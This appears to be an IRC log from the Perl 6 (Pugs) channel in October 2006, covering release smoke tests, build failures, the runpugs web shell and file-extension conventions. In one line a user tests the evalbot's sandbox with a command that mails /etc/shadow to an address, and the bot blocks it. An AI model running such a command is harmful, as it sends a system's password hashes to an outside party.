Tester wanted: pugs.blogs.com/pre1/Perl6-Pugs-6.2.13.tar.gz | spec.pugscode.org | paste: sial.org/pbot/perl6 | pugs.blogs.com
Set by audreyt on 15 October 2006.
00:26 nekokak joined 00:29 gnuvince joined 00:47 markstos joined 01:14 lisppaste3 joined 01:26 Pomin joined
dduncan in the middle of make smoke now ... 01:37
01:49 hikozaemon joined 01:52 Aankh|Clone joined 01:56 scsibug joined 02:09 cjeris left 02:23 nipotan joined
dduncan now uploading smoke ... 02:41
okay, see m19s28.vlinux.de/iblech/stuff/pugs-...8ffb6.html 02:43
lambdabot Title: TAP Matrix - Mon Oct 16 02:14:53 2006 GMT, tinyurl.com/y6eafz
dduncan So that's my first smoke of Pugs-6.2.13-pre1 ... done using GHC 6.6.0 on Mac OS X PPC, normal Haskell runcore 02:44
all tests passed or appropriately skipped/todod, and the smoke ran in 102.72 minutes 02:45
which *is* faster than I recall getting in the past, where I typically got around 135 minutes
that was a month plus back, though 02:46
so from what I can see, 6.2.13 is shippable
matters of changelog updates etc notwithstanding
audreyt good! 02:47
dduncan++
I'm working on finalizing the changelog now
dduncan are you still holding off 'til tuesday?
audreyt well, tuesday my time
dduncan that's what I mean 02:48
audreyt which is <14hours from now
so yes
dduncan I see
audreyt now I'm off to lunch+changelog. thanks for the smoke
audreyt is now reasonably confident of the release
(free of Judy GC bugs)++ 02:49
(not having the tuits to get to the end of that)--
bbiab & 02:50
dduncan in the process, you may want to address some minor formatting matters in the changelog, such as a blank line in the middle of the bullet-list for Updated Modules, following CGI 02:51
the blank line probably shouldn't be there
xinming audreyt: hmm, I want to know if I did wrong on changelog. And so that I can be more helpful in the future. :-P 02:57
03:07 mjk joined 03:11 Aankhen`` joined 03:38 reZo joined
gnuvince !eval my $c = 0; $c++ + ++$c; 03:58
?eval my $c = 0; $c++ + ++$c;
evalbot_r14363 2
xinming It should be 3... >_< 04:03
maybe bug?
maybe not... >_<
I test it on perl 5, It alright... 04:04
04:10 aufrank joined
bsb www.flickr.com/photos/bsb/263631271/ 04:33
lambdabot Title: secure-pugs on Flickr - Photo Sharing!
05:09 mugwump joined 05:16 BooK_ joined
aufrank anyone around? 05:31
05:34 ron__ joined 05:47 nothingmuch joined 06:13 marmic joined 06:33 buetow joined 06:41 huyx joined 06:43 huyx left 06:45 iblechbot joined 06:52 iblechbot_ joined 07:18 zakharyas joined 07:19 zakharyas joined
gaal good read: www.cs.inf.ethz.ch/~wirth/Articles/...rigFig.pdf 07:20
lambdabot tinyurl.com/yhc5r2
bsb I was just skimming that... 07:22
looks like the functional programming trend came and went without much fuss 07:26
gaal bsb! hey :) 07:27
(I'm not really here...)
bsb ((I'm never really here)) 07:43
ingy nothingmuch: ping 07:44
07:44 iblechbot joined 07:46 reZo joined 08:04 explorer joined
bsb fyi ingy, yaml.org is timing out for me 08:05
ingy yaml.com? 08:06
yaml.org looks fine
yaml.com should be hosed atm
bsb? 08:07
bsb .com, sorry
ingy the server is down much to my chagrin 08:08
hopefully back within 12 hours
bsb I'll check channel PlYaml in the morning then, night 08:11
08:12 gaal_ joined 08:26 gaal_ is now known as gaal 08:43 andara joined 08:46 penk joined 08:55 ruoso joined
nothingmuch ingy: pong 09:11
09:17 anatolyv joined 09:21 chris2 joined 09:27 elmex joined 09:39 anatolyv left
svnbot6 r14364 | kudra++ | This week's summary 09:54
r14365 | kudra++ | Missed one thread earlier 09:57
r14366 | andara++ | [runpugs] 10:04
r14366 | andara++ | -clean up sessions/IP on timeout
r14366 | andara++ | -first commit of generic Web::Terminal
dduncan fyi, www.plat-forms.org/ 10:05
lambdabot Title: Home
dduncan if any of you want to participate in this competition and can get to NĆ¼rnberg, it might be interesting
or rather, its a scientific study of sorts
this event is part of the "www.heise.de/veranstaltungen/2007/ho_osb/en/" conference 10:07
lambdabot tinyurl.com/yd2a7v
dduncan "Open Source Meets Business"
that is all
Patterner pay me and i'll go to Nuernberg :) 10:08
dduncan you'll have to find your own sponsor, so sayeth the site
dduncan signing off as its 3am ... 10:10
10:10 dduncan left 10:15 kanru joined 10:17 mugwump joined 10:46 kanru joined
audreyt andara: would you like to blog something about htpt://run.pugscode.org/ ? 10:47
svnbot6 r14367 | audreyt++ | * ChangeLog: 0th sketch at an attempted new outline style,
r14367 | audreyt++ | after several false starts...
r14368 | audreyt++ | * ChangeLog: Sketch #1. 10:59
11:14 xinming_ joined
avar hrm, say is considered unsafe 11:25
andara audreyt: sure, I just wanted to have runpugs a little more stable before I did that. 11:27
11:35 atmaniak_ joined 11:45 HiTech69 joined
audreyt avar: actually I'm changing that... 11:46
andara audreyt: great, folks can do "hello world" in runpugs! 11:48
svnbot6 r14369 | audreyt++ | * Pugs.Prim: Mark `say` and `print` (the default-to-$*OUT version) 11:49
r14369 | audreyt++ | as safe, not unsafe.
11:54 agentzh joined
agentzh audreyt: oops, ghc 6.6 + activeperl 5.8.7 + pugs head leads to failing build... 11:55
audreyt nopaste the log? 11:56
pasteling "agentzh" at 210.22.200.67 pasted "Win32 build failure" (38 lines, 1.9K) at sial.org/pbot/20476
agentzh i built from realclean.
11:57 hacker__ joined
hacker__ i kno more about computas than u all im da best hacker eva 11:57
audreyt hacker__: would you like a Pugs commit bit? 11:58
agentzh: weird, I thought we fixed it with the #define in p5embed.h
GeJ \o/
agentzh oh
audreyt but evidently not. let me try 11:59
agentzh okay~~
audreyt agentzh: try again? 12:05
bbiab
svnbot6 r14370 | audreyt++ | * Pugs.Embed.Perl5: Try to fix the Win32 build failure reported by agentzh++
r14370 | audreyt++ | by delaying symbol resolution into p5embed.h time.
agentzh sure~
gnuvince agentzh: why the tildes? 12:06
agentzh just a habit...
gnuvince Does it mean anything that I'm not familiar with? 12:07
agentzh a friend of mine uses it quite a lot, and i definitely has been affected by her. :)
12:07 wolverian joined
avar "Pugs::Gramamr::Rule" according to Wikipedia 12:08
agentzh well, i'm not aware of that meaning.
gnuvince: what's the meaning that you're familiar with? 12:09
gnuvince None, I was just wondering if appending a tilde was similar to person++ that seems popular around here. 12:10
agentzh audreyt: you fix works~~ yay!
lol
well, not really~~
gnuvince ok :)
agentzh *your fix
gnuvince karma audreyt 12:11
jabbot gnuvince: audreyt has karma of 2521
agentzh karma agentzh
jabbot agentzh: agentzh has karma of 27
agentzh audreyt: oh, no...it failed at the end... 12:12
i'll post the output.
pasteling "agentzh" at 210.22.200.67 pasted "Win32 build failure [2]" (28 lines, 1.1K) at sial.org/pbot/20478 12:13
12:14 wolverian joined
agentzh iirc, pugs built successfully on this machine a week ago... 12:16
not sure if it has anything to do with ghc 6.6...
12:17 Limbic_Region joined
agentzh Limbic_Region: pugs builds well on your win32 machine? 12:17
Limbic_Region yes - as of yesterday afternoon
but not until I had to take drastic measures 12:18
make realclean was not sufficient
ended up blowing away src/ and several other directories
agentzh really?
Limbic_Region as did TimToady on his linux
yes - TimToady is the one who gave me the idea
though it is likely only a file or two
12:18 Psyche^ joined
agentzh wow 12:18
maybe i should also have a try
Limbic_Region not tracking it down was easier - so, I just got liberal
what's your build error? 12:19
agentzh okay
sial.org/pbot/20478
xinming_ audreyt: ping
lambdabot Title: Paste #20478 from "agentzh" at 210.22.200.67
agentzh xinming_: i'm also waiting for her. ;) 12:20
12:20 iblechbot joined
Limbic_Region agentzh - not the same as the one I was seeing so perhaps it is a new issue 12:20
before you start blowing away directories
agentzh right, it's the p5 embedding issue. 12:21
Limbic_Region let me try and build this morning (just finishing svn up now)
agentzh an old issue...
hehe, night here. :)
xinming_ lisppaste3: url
12:21 xinming_ is now known as xinming
xinming lisppaste3: help 12:22
lisppaste3: help url
???
died...
agentzh Limbic_Region: have you had the tuits to build cygwin ghc?
Limbic_Region: the problem may not hit you since i'm using activeperl 5.8.7. 12:23
Limbic_Region agentzh - no, not at all 12:24
agentzh :)
Limbic_Region apparently, the instructions for cross compiling *should* just work
and yet, what I get when I follow those instructions isn't what anyone on the ghc dev list expects 12:25
so before I can start fixing (or at least identifying) bugs
I need to get the build to start (failing dependencies is the problem)
I have it starred in my gmail though so I will get back to it eventually 12:26
agentzh lol
xinming I also got build failure using ghc 6.6
>_<
agentzh great~~ 12:27
Limbic_Region xinming - if your problem is something with Judy - that's understandable to me
if it is something with embedded p5 - no idea
agentzh glad to see you're still working on it.
xinming: you're looking for the lisppaster? 12:29
svnbot6 r14371 | audreyt++ | * Oops typo.
audreyt agentzh: oops try again
agentzh xinming: use sial.org/pbot/perl6 to paste your error?
audreyt: okay~
pasteling "xinming" at 222.212.1.184 pasted "Pugs build error" (36 lines, 1.6K) at sial.org/pbot/20479 12:30
xinming Limbic_Region: I don't know if that is something with Judy. :-P 12:31
agentzh pugs.exe.new -- aha!
audreyt: built!
xinming BTW, I tried it yesterday, and with the same error, and then, I thought, maybe I didn't compile the library, So, today after work, I tried again with a full install of ghc 6.6, still the problem
agentzh audreyt++
Limbic_Region morning audreyt 12:32
or evening as the case may be
audreyt xinming: weird, did you install GHC with .msi?
it should come with the mtl library
xinming audreyt: I'm in Linux. ;-) 12:33
Writing version from `svk info` to /home/xinming/checkout/perl6/pugs/util/../src/Pugs/pugs_version.h
Path //mirror does not exist.
audreyt xinming: how did you install 6.6?
xinming ./configure --prefix=$MYPREFIX && make && make install 12:34
and I extracted the libraries to my ghc source directory
12:34 Psyche^ is now known as Patterner
audreyt you installed from source? 12:35
not bin package?
if so you needs the haskell.org/ghc/dist/6.6/ghc-6.6-sr...bs.tar.bz2 too 12:36
lambdabot tinyurl.com/yyfzxt
xinming audreyt: No... Because ghc 6.6 isn't in gentoo yet. >_<
audreyt: I've done that...
hmm...
But I'm not sure if that would automatically install them 12:37
audreyt you need to extract both .bz2 into the same place
and then configure/make/make install
xinming first I extract the source tarball, and extract the source, and move all dir in to libraries... 12:38
>_<
I think It should be the same as what you suggested...
agentzh audreyt: another error during "nmake smoke", pasting now...
pasteling "agentzh" at 210.22.200.67 pasted "error during "nmake smoke"" (38 lines, 2.4K) at sial.org/pbot/20480 12:39
audreyt xinming: but it appears you did not install extra
Limbic_Region audreyt - someone (can't remember who) was having an fps dependency issue last night (my time) as well 12:40
they were using a debian unstable package
audreyt agentzh: nopaste your Makefile ?
Limbic_Region: noted...
agentzh audreyt: a sec...
xinming audreyt: Ok, I'll try again. bbl 12:41
pasteling "agentzh" at 210.22.200.67 pasted "my Makefile" (2021 lines, 131K) at sial.org/pbot/20481 12:42
svnbot6 r14372 | audreyt++ | * build_pugs.pl: Force "ghc-pkg expose" of dependent modules. 12:43
12:43 evalbot_r14371 joined
Limbic_Region oh, very nice job btw on the release prep audreyt++ 12:43
audreyt thanks :)) 12:44
agentzh: why did you have foo.cpp and test.c in the source dir? 12:45
that was the cause
rm them and run makefile.pl again?
agentzh oh...
okay
that's my temp files...
*they're
audreyt makemaker is being too smart...
agentzh *nod*
audreyt: would you please rm the command "pl2bat.bat D:\projects\Pugs2\blib\script\pugs.exe" for win32 users? 12:48
it's annoying. :(
audreyt agentzh: please do that on MakefilePL on all means
(I don't offhand know how to do that on win32) 12:49
agentzh audreyt: okay~~
smoking now...not sure if it can finish in the next 1 hour... 12:56
audreyt k
12:59 snowstalker joined
agentzh audreyt: i've hit by a failing test... 13:02
ext/Perl6-Container-Array/t/array-lazy.t 13:03
# Actual: undef
# Expected: 'k'
# Actual: '10'
or maybe it's a todo...not sure...
audreyt it's todo 13:04
agentzh hmm...seems to be a todo.
sorry~
audreyt no problem~~~
agentzh maybe we should suppress the stderr outputs when running a todo test... 13:05
audreyt I prefer not
agentzh lol
k
(from the implementor's point of view...) 13:06
agentzh thinks he should have built pugs with "nmake optimized". :/ 13:09
audreyt you you built with "fast"? 13:12
agentzh yeah
audreyt oy. mistake. :) 13:13
agentzh so my smoke is doomed to be *much* slower?
np, i'll clean and re-smoke.
i'm just at ext/Tree/t/basic.t. 13:14
audreyt k
13:14 bpphillips joined
agentzh there was a thread around pugs.exe.bat on p6c, but sadly no consequence was obtained. 13:16
the summarizer wrote, "Autrijus asked if he would be willing to investigate a patch. He
responded that he would put it in his queue.
LOL
audreyt the queue is apparently infinite in length.
or rather, indefinite. 13:17
agentzh it seems that his queue has overflowed. :)
audreyt and I don't share his queue now anyway...
in any case it's your queue now, should you choose to accept it :) 13:18
13:18 hexmode joined
agentzh i'll have a try... 13:18
gaal real world queues seem to be simple things
you can express them with cons cells
no need for Nil
they are in fact endless streams
audreyt adeuately expressed with unfold
gaal Getting Things Done with Lenses and Bananas 13:19
audreyt @pl \f x ys -> unfoldr (Just . f) x ys
lambdabot unfoldr . (Just .)
audreyt here you go, it's expressed with (unfoldr . (Just .)) 13:20
[particle] howdy folks!
i'm moosifying smartlinks.pl before committing to the parrot repo
audreyt that's very moose
[particle] it's looking great so far
agentzh [particle]: (!) 13:21
[particle] i hope to have a commit of a partial implementation today
gaal whee
[particle] ...need to write some tests first
agentzh moooooooose
[particle] indeed!
gaal I don't understand that unfold 13:22
[particle] agentzh: i noticed in the pod it says smartlinks should use as few modules as possible... why?
agentzh: ...i'm obviously ignoring that bit, by using moose :)
audreyt gaal: it's something that guarantees to produce an infinite list of streams no matter how you use it
agentzh just try to put off the user's burden. 13:23
[particle] ok
agentzh some guys don't even know how to use cpan.
so i even made Pod::Simple::HTML optional.
that is the only thing which is non-core. 13:24
gaal > (unfoldr . (Just .)) error eek [] 13:25
lambdabot Not in scope: `eek'
gaal > (unfoldr . (Just .)) error "eek" []
lambdabot The function `(unfoldr . ((Just .)))' is applied to three arguments,
...
gaal [yadda, yadda, yadda]
agentzh [particle]: i've been following fglock's convention. :)
13:26 nothingmuch joined
gaal > (unfoldr . (Just .)) error "eek" 13:27
lambdabot Add a type signature
gaal > (Data.List.unfoldr . (Just .)) error "eek" -- I wish
lambdabot Add a type signature
gaal anyway, that doesn't produce an infinite list
[particle] agentzh: i hope you don't mind that i'm breaking that for parrot :) 13:28
audreyt gaal++ # getting to the Bottom of it
13:29 Odin-LAP joined
agentzh [particle]: of course not. 13:29
13:29 ajs_home joined, Limbic_Region joined
agentzh [particle]: smartlinks.pl has a lot of features that are hard to test. 13:30
i've been mostly using regressions.
[particle] where are the current tests? 13:32
agentzh there're some under util/t/
[particle] ok
i'm in the data retrieval/construction phase of implementation 13:33
agentzh but everytime i made change to the source, i'll use svn to check the output diffs.
i mean the html outputs.
[particle] ...where objects are created, and they automatically populate with information upon initialization
eg. test file names, spec file names, smartlink info, etc 13:34
agentzh that sounds good. :)
[particle] well, it's fun! 13:35
agentzh i'm manipulating raw data structures in the current implementation.
[particle] yes, which i didn't like... too hard for me to read
(the subs are too big)
13:36 atmaniak_ left
agentzh biab & 13:36
Limbic_Region FYI - pugs built locally on Win32 just fine
Limbic_Region begins smoke
agentzh sorry, end of day for me
[particle]: don't forget to commit your code! 13:37
[particle] agentzh: i'll keep you posted :)
14:14 vel joined
gaal hi #perl6, showing off evalbot to a friend 14:21
?eval 1+4
14:21 evalbot_r14371 is now known as evalbot_r14372
evalbot_r14372 5 14:21
gaal ?eval while 1 { 1 }
evalbot_r14372 (no output)
gnuvince Does evalbot stop execution after a certain delay? 14:22
gaal ?eval my $x = 4; while 1 { $x ~= $x }
evalbot_r14372 (no output)
gnuvince ?eval my $x = 4; $x ~= $x; $x 14:23
evalbot_r14372 \"44"
gaal ?eval system 'mail [email@hidden.address] < /etc/shadow'
evalbot_r14372 Error: Unsafe function 'system' called under safe mode
gaal ?eval warn "stderr" 14:24
evalbot_r14372 Error: Cannot cast from VUndef to Handle (VHandle)
gaal heh, that error could be improved :-)
lumi Is it trying to say it doesn't have stderr open? 14:29
14:30 cmarcelo joined
gaal it oughta say sorry, you can't do that 14:30
but due to implementation it's doing something like 14:31
$fh.say "moose"
where $fh is overridden
it's entirely a detail.
gnuvince ?eval "Foo".say
evalbot_r14372 OUTPUT[Fooā¤] Bool::True
gaal yes, safe-say does work
stdout only. 14:32
s/detail/contingent and not pretty, commits welcome detail/
audreyt: in doc synopsis XML::Literal - Syntax suppor for XML literals 14:34
should be "support"
cmarcelo hello folks. 14:38
nothingmuch: are you there?
14:41 nipotan is now known as nipotaway
audreyt gaal: ok, noted and change in the repo, but unless you're willing to get comaint and release for me, I can't fix that tonight 14:44
svnbot6 r14373 | audreyt++ | * ChangeLog: Sketch #2, finally taking shape; "New Features"
r14373 | audreyt++ | and "Bug Fixes" unified under the "Feature Changes" section,
r14373 | audreyt++ | which is now divided across Synopsis chapters.
r14373 | audreyt++ | Help welcome on sorting out the rest of the changelog after
r14373 | audreyt++ | the cut lines; in any case I'll finish sorting them out tomorrow.
audreyt *wave* &
14:45 cmarcelo joined
nothingmuch cmarcelo: sort of 14:45
cmarcelo: i refactored a bit but i'm not done 14:46
i'lll be back later today
cmarcelo nm: ok. today I`ll get more test(s) translated to haskell.. sorry for missing last days, i was out of town.. 14:48
audreyt andara: I played with runpugs some and it seems announcable now. I'll write a short snippet, and you're welcome to follow up with more posts... 14:50
andara audreyt: ha, it was you :-) I thought so too, I've written a short snippet as well... 14:51
audreyt oh! then please post it :) 14:53
I'll merge :)
nothingmuch cmarcelo: okay 14:54
i'll help
gaal audreyt: lol, comaint for a 1-char doc fix. you're a busy moose :)
audreyt actually, Ill discard mine and let you post it :) feel free to reuse bits from the nopasted... 14:55
nothingmuch i have ghc 6.6 finally
pasteling "audreyt" at 220.135.90.73 pasted "writeup sketch" (3 lines, 565B) at sial.org/pbot/20484
andara audreyt: OK, there goes ...
audreyt hits "refresh" compulsively
gaal sends audreyt some sleepies 14:56
...and hits "refresh" compulsively
wolverian I find it very disturbing that I can delete the preceding text in runpugs
gaal wolverian: it's called discontinuation. it's technology from the elided past 14:57
wolverian well, it's disturbing!
audreyt which is why it's called discontinuation!
otherwise it'd be perturbing
actually those are synonyms. 14:58
14:58 cmarcelo joined
audreyt hits some more refresh 14:59
nothingmuch runpugs++
audreyt ooh there it is
andara audreyt: I only just hit "save" :-)
a bit terse, I admit. Feel free to add on 15:00
cmarcelo audreyt: sad that hsjudy was killed (well at least for me hehe).. i`ll look for some alternative instead of using a haskell fnction as a finalizer (maybe pushing the finalizing thing to a C fun), but thats just a blind shot.. :P
15:01 vel joined
nothingmuch why was it killed? 15:01
audreyt andara: see if my edits make sense
nothingmuch: random GC errors across the board 15:02
nothingmuch oi
audreyt cmarcelo: it's likely not your problem... #ghc agreed it's a sensible use of GC. it may very well be RTS/FFI bug.
cmarcelo: and I fully intend to revive Judy once we find some workarounds; I really like StrMap.
but, sleep now. see you tomorrow, lambdacamels :)
andara++ # again, for runpugs
gnuvince what (who?) is judy?
nothingmuch judy.sf.net 15:03
lambdabot Title: Judy Arrays Web Page
nothingmuch who == the author's sister IIRC ;-)
andara audreyt: they do, though I didn't use any source code from TryRuby. I emailed Why but got no reply :-(
audreyt: borrowed the nice blue & fonts choice though 15:04
gnuvince is there a pugs equivalent of tryruby? 15:07
nothingmuch andara: i think i killed it with unicode
gnuvince: run.pugscode.org/
lambdabot Title: Run Perl 6 Now -- in your browser!
andara nothingmuch: yes, looks like you really killed it. 15:08
nothingmuch sorry ;-)
andara nothingmuch: what did you have to do for that? I have no logging.
nothingmuch audreyt: can i specify an || for Module::Install requires clauses? 15:09
andara: i typed in quoted hebrew
andara nothingmuch: long quote? I'd like to see what happened. I tried with small pieces of unicode, and though it doesn't work, it didn't kill it either. 15:10
nothingmuch "שלום"
oops, i accidentally killed it again 15:11
sorry, that one was unintentional
andara Looks like I'll have to catch unicode for the moment ;-)
gaal www.users.bigpond.com/robin_v/pli-n9.htm 15:13
lambdabot Title: The PL/I Newsletter (PL/1 PL1), tinyurl.com/y5mt52
gaal current PL/I newsletter
andara nothingmuch: can you try to do the same with runpugs2 (same url +2)
nothingmuch okay 15:14
that worked
in the sense that it didn't crash it
but it doesn't echo back my string
so either the output of the shell printer or the unicode
input encoding are bad
however, my line on the prompt is relayed correctly
andara Well, no, Unicode is not supported, see feather.perl6.nl/~andara/runpugs/ :-)
lambdabot Title: Run Perl 6 Now -- in your browser!
nothingmuch ah 15:15
=)
andara++ # even if unicode is not supported
andara nothingmuch: problem is I use Net:: Telnet, and that is not Unicode-aware.
pasteling "nothingmuch" at 84.108.53.74 pasted "audreyt: is this sane use of Modulke::Install?" (9 lines, 236B) at sial.org/pbot/20486
nothingmuch andara: $ENV{PERLIO} = ":utf8" during BEGIN { } somewhere 15:16
and it should fix it
andara nothingmuch: OK, I'll try that. Thanks! 15:17
TimToady hmm, /tmp/ghc23652_0/ghc23652_0.hc:8:24: error: Parrot_hsc.h: No such file or directory 15:22
anybody else seen that? 15:23
gaal TimToady: what happens when you just run make again?
TimToady hang on.
15:23 Pomin joined
TimToady works now, weird. 15:24
thanks
gaal that heppened to me too and I thought it was a fluke
PerlJam Are you both on the same type of system?
gaal must be wrong dependencies, or maybe hsc genning happens in build_pugs and therefore not very robust viz. dependencies 15:25
linux here
i don't remember when hsc files are treated
TimToady make is a technology whose big bad false minimum I'd like to pull the plug out of and listen to a huge satisfying slurping sound.
gaal that makes MAXPROGRAMMERS of us 15:26
TimToady I'm sure every ide thinks its the answer...
masak ?eval 1|2|3 + 4|5|6 15:27
15:27 evalbot_r14372 is now known as evalbot_r14373
evalbot_r14373 (1 | 2 | 5 | 6 | 7) 15:27
TimToady PerlJam, I'm on Linux
masak evalbot_r14373: hunh?
araujo morning
TimToady masak: precedence
masak TimToady: oh
?eval (1|2|3) + (4|5|6) 15:28
evalbot_r14373 ((5 | 6 | 7) | (6 | 7 | 8) | (7 | 8 | 9))
masak hmm...
TimToady the precedence tables are not optimized for contrived examples. :)
masak TimToady: fair enough :) 15:29
15:29 c6rbon joined 15:41 chris2 joined 15:42 ruoso joined 15:44 vel joined 15:46 foo\ joined 15:51 penk joined
svnbot6 r14374 | andara++ | [runpugs] 15:57
r14374 | andara++ | Now catches Unicode & apologises :-)
ingy seen audreyt 16:11
jabbot ingy: audreyt was seen 1 hours 8 minutes 27 seconds ago
Limbic_Region (boss going out of town and leaving me in charge)--
ingy I think I may have figured out a scheme for using M::C without .pmc 16:12
instead of having .pm -> .pmc
you go from .p -> .pm 16:13
by setting a special author-only PERL5OPT
TimToady self-modifying .pm?
ingy th compiled .pm can even have a sanity check for the PERL5OPT 16:14
TimToady: no, just the same .pm -> .pmc dance 16:15
but without the fear and loathing of .pmc
TimToady how nice it would be if all of make's target files could simply be told "recompile yourself if you feel like it..."
nothingmuch ingy: thanks =)
ingy for what nothingmuch ?
nothingmuch the << fix 16:16
TimToady if you change the .p, what happens to the .pm?
assuming you're in "author" mode.
ingy see if I release YAML with .pmc (as I intend) there will be hell to pay
TimToady: the .pm is regenerated (if you are in the author environment) 16:17
TimToady that's what I mean by "self-modifying .pm"
I'm not making a value judgement, just trying to unnerstann 16:18
ingy but the .pm isn't affecting itself
TimToady what triggers the recompile?
ingy it's just templated output of .p
TimToady what triggers the templated output? 16:19
ingy s/templat/compil/ blah blah
16:19 reZo_ joined
ingy oh... the PERL5OPT=-MModule::Compile=-p (or whathaveyou) does something like put a coderef in @INC to load .p before .pm 16:20
integral so you're wanting to replace the entirely non magical .pmc, with deep scary magic? 16:21
ingy integral: no. I want to replace the slightly magical .pmc with the completely accepted .pm
:)
integral o_O. Are there really people scared of .pmc's? 16:22
ingy it's quite sane
TimToady the main downside I see is that you're essentially defining .pm to be P5 only and inventing a new standard P6 extension
ingy I think
TimToady: interesting point. I wasn't thinking in Perl6 terms at all 16:23
but I'm not thinking of getting rid of .pmc 16:24
the current stuff is fine.
kolibrie I like being able to have a .pm file and run it under perl or pugs and just have it work - the .pmc is nice for that
ingy I'm just giving an option of getting the same power of M::C but with a .pm output, so I can use it in "production" modules 16:25
16:25 andara left
ingy I don't even have to distribute the .p file 16:25
so you'll never know my code was generated 16:26
integral ugh, please do. It makes submitting patches much easier (if it's a CPAN module)
ingy rather than hand coded
kolibrie hmm, local-only might be okay
ingy integral: I agree. just making the point 16:28
kolibrie but that is true, sending patches back to the author would be less effective in that case
ingy I can even see .p -> .pm -> .pmc 16:30
ven for perl6
e
where .p is something that generates Perl 6 16:31
:)
or maybe just has templated doc stuff
but first, breakfast 16:32
Juerd .p is for P* 16:34
.push, .pull
TimToady filext.com/alphalist.php?extstart=%5EP 16:37
lambdabot Title: Alphabetic File Extension List
16:49 chris2 joined
ingy TimToady: in the shower I realized that one way to think of this is that (by convention or consensus) we use .p->.pm for P5 and .pm->.pmc for P6 16:50
I rather like that.
It keeps fear and loathing away from P5 curmudgeons and places it squarely in P6 where there is already plenty of it
it might even please Alias
doubtful... very doubtful 16:51
Juerd Personally, I'm in favour of dropping .pm and .plx? altogether 16:53
And I don't see any compelling reason to give executable files an extension that's different from modules
ingy Juerd: I'm not following you 16:56
dropping .pm from what?
and what is .plx?
16:56 [particle] joined
ingy Juerd: actually hold on for one sec. I need to drop off. brb 16:57
16:57 ingy joined
Juerd Dropping use of .pm for Perl 6. Let .plx? and .pm be an indication of Perl 5 17:00
.plx is an extension used for Perl scripts, like .pl. The book Beginning Perl suggests .plx
xinming I'll suggest that we use .pl6 for perl 6 scripts, and .pl5 for perl 5 scripts, and .pl defaults to the "current" perl. :-) 17:05
since, we might also need pl7.. *_*
Patterner and .pl4 17:06
[particle] don't forget .pl1
17:06 kanru joined, fglock joined
xinming well, for .pl1, I think It doesn't hurt for people add a switch on shabang-line. :-P eg. -Mv1 -Mv2 ;-) 17:08
I don't think it hurt for people adding a switch on shabang-line.
xinming feels sorry for his poor English. 17:09
s/it hurt/it hurts/
^^^^ <-- oops
TimToady I think extensions are of far too limited bandwidth to adequately express version information, and would be good only for rough commentary, and not even good for that once people started relying on it. 17:14
Juerd TimToady: I think of file extensions as inter user communication 17:19
17:20 buu joined
TimToady "inter user communication" === "commentary" 17:22
17:27 gugod_ joined, cm joined, gugod_ is now known as gugod
ingy Juerd: sorry, back 17:31
I agree with TimToady. File extensions are not a good intention serialiazation lanuage 17:32
and /me is not a good typist
Juerd TimToady: Agreed 17:33
ingy: So do I. But why try to attach *technical* meaning to them?
That was nice in the DOS era :)
ingy I'm not trying to attach any firm meaning to them 17:34
they don't really mean anything. I was just suggesting a standard practice for M::C 17:35
one that at least I would be interested in following. 17:36
for the millions not in the know, running into a .pmc in P5 CPAN distro is going to at least raise an eyebrow 17:37
but compiling to .pm, who let those millions be blissfully ignorant of ingy's evil coding practices 17:38
s/who/would/
P6 is evil by definition, so .pmc is par for the course 17:39
17:40 stevan joined 17:42 xinming joined 17:43 larsen joined 18:02 lanny joined 18:05 buetow joined 18:06 lanny joined 18:07 buubot joined, lanny joined 18:09 elmex joined 18:25 frederico joined
Limbic_Region hello 18:27
@tell lanny I have Cygwin but do not use it for Pugs. I use ActiveState Perl 5.8.8, MinGW, and GHC (binary install preferred)
lambdabot Consider it noted.
18:36 Gothmog_ joined 18:37 cm_ joined 18:38 penk joined
nothingmuch does anybody want 1gb of ram (PC2700, laptop dimms) in two 512mb sticks? 18:45
18:47 weinig joined
Limbic_Region well, I am not sure it would be worth the trouble 18:47
Limbic_Region checks to verify his laptop can take the memory 18:49
nothingmuch - if no one else pipes up, I will be happy to take them though getting you the $ for shipping might not be so easy 18:52
nothingmuch tell you what, you can buy me an amazon wishlist item
if it makes you feel guilty
Limbic_Region: fwiw lumi is also interested 18:57
18:58 fglock joined
nothingmuch maybe i can send a stick to each 18:58
Limbic_Region nothingmuch - then I retract my interest
lumi I think I could only take one stick..
nothingmuch lumi: you have 1x 512 in your mac? 18:59
audreyt++
lumi Yes 19:00
nothingmuch are we scheduled to meet sometime soon?
if not i'll mail you the one stick
Limbic_Region: 512 x 1 could still help, right?
Limbic_Region: please @tell me when you've made up your mind (my connection is unstable so /msg might not get thorugh)... I'm off to a friend's house 19:02
Limbic_Region @tell nothingmuch no, my memory has to be added in pairs but I really do appreciate it 19:04
lambdabot Consider it noted.
19:05 Gothmog_ joined
nothingmuch if it has to be added in pairs it's probably not compatible 19:05
lambdabot nothingmuch: You have 1 new message. '/msg lambdabot @messages' to read it.
nothingmuch this type can be mixed and matched, IIRC
*poof*
19:12 explorer joined 19:21 buubot joined 19:56 lypanov joined 19:59 penk joined, justatheory joined
obra seen audreyt 20:06
jabbot obra: audreyt was seen 5 hours 3 minutes 36 seconds ago
Limbic_Region rubs his eyes to make sure he isn't seeing things 20:07
hey obra
obra hey 20:10
ingy hi obra 20:18
obra hey ingy 20:19
lypanov this makes me want to cry 20:27
lukeplant.me.uk/blog.php?id=1107301645
lambdabot Title: Why learning Haskell/Python makes you a worse programmer
20:31 bpphillips left 20:34 justatheory joined 20:42 rindolf joined
rindolf Hi all! 20:42
SamB what!
SamB has to read this
lypanov i agree partially, the thing that makes me want to cry is the idea that he thinks his functional c# solution is anywhere near as efficient as the horrible version 20:45
lypanov sighs 20:46
rindolf Hi lypanov 20:48
lypanov heya rindolf :) 20:49
rindolf lypanov: what's up?
leo 22:48 <@coke> ping obra
22:48 <@coke> Can we get purl back in here?
# recently on #parrot
obra hm. I'm not the keeper thereof 20:50
but lemme see what I can do
21:01 cm joined 21:04 Limbic_Region joined 21:23 anatolyv joined 21:26 larsen joined 21:31 weinig is now known as weinig|bbl 21:33 lanny joined
lanny Limbic_Region: ping 21:33
lambdabot lanny: You have 1 new message. '/msg lambdabot @messages' to read it.
lanny @messages
lambdabot Limbic_Region said 3h 5m 39s ago: I have Cygwin but do not use it for Pugs. I use ActiveState Perl 5.8.8, MinGW, and GHC (binary install preferred)
rindolf ingy: ping 21:34
21:36 penk joined
ingy hi rindolf 21:41
lypanov omgitsalmost12night 21:46
21:46 lypanov left
rindolf Hi ingy 21:47
ingy: did you upload IO::All yet?
ingy not yet
rindolf ingy: I see. 21:48
ingy attempting it now
rindolf: found a mistake in META.yml 21:52
this is why I hate releasing modules (and don't trust it to others)
some day I'll fix this release process (again)
